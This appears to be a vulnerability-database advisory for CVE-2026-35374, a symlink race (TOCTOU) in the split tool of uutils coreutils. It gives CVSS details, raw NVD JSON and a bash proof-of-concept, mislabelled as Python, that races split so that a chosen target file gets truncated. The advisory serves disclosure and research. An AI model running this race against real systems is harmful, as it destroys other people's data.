Security Vulnerability Report
中文
CVE-2026-35374 CVSS 6.3 MEDIUM

CVE-2026-35374

Published: 2026-04-22 17:16:42
Last Modified: 2026-05-04 19:22:14

Description

A Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the split utility of uutils coreutils. The program attempts to prevent data loss by checking for identity between input and output files using their file paths before initiating the split operation. However, the utility subsequently opens the output file with truncation after this path-based validation is complete. A local attacker with write access to the directory can exploit this race window by manipulating mutable path components (e.g., swapping a path with a symbolic link). This can cause split to truncate and write to an unintended target file, potentially including the input file itself or other sensitive files accessible to the process, leading to permanent data loss.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:* - VULNERABLE
uutils coreutils (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-35374 # Exploiting TOCTOU in uutils coreutils split INPUT_FILE="data.txt" OUTPUT_PREFIX="output" TARGET_FILE="important_config.conf" # Setup environment echo "Sensitive Data" > $TARGET_FILE dd if=/dev/urandom of=$INPUT_FILE bs=1M count=10 # Start split in background split -b 1M $INPUT_FILE $OUTPUT_PREFIX & SPLIT_PID=$! # Race condition: Attempt to swap output with symlink to target while kill -0 $SPLIT_PID 2>/dev/null; do # Check if the first output file is about to be created or created if [ ! -L "${OUTPUT_PREFIX}aa" ] && [ ! -e "${OUTPUT_PREFIX}aa" ]; then # Try to create symlink before split opens the file ln -sf $TARGET_FILE "${OUTPUT_PREFIX}aa" 2>/dev/null fi done wait $SPLIT_PID echo "Check if $TARGET_FILE was truncated..." ls -l $TARGET_FILE

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35374", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:42.127", "lastModified": "2026-05-04T19:22:14.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the split utility of uutils coreutils. The program attempts to prevent data loss by checking for identity between input and output files using their file paths before initiating the split operation. However, the utility subsequently opens the output file with truncation after this path-based validation is complete. A local attacker with write access to the directory can exploit this race window by manipulating mutable path components (e.g., swapping a path with a symbolic link). This can cause split to truncate and write to an unintended target file, potentially including the input file itself or other sensitive files accessible to the process, leading to permanent data loss."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/11401", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}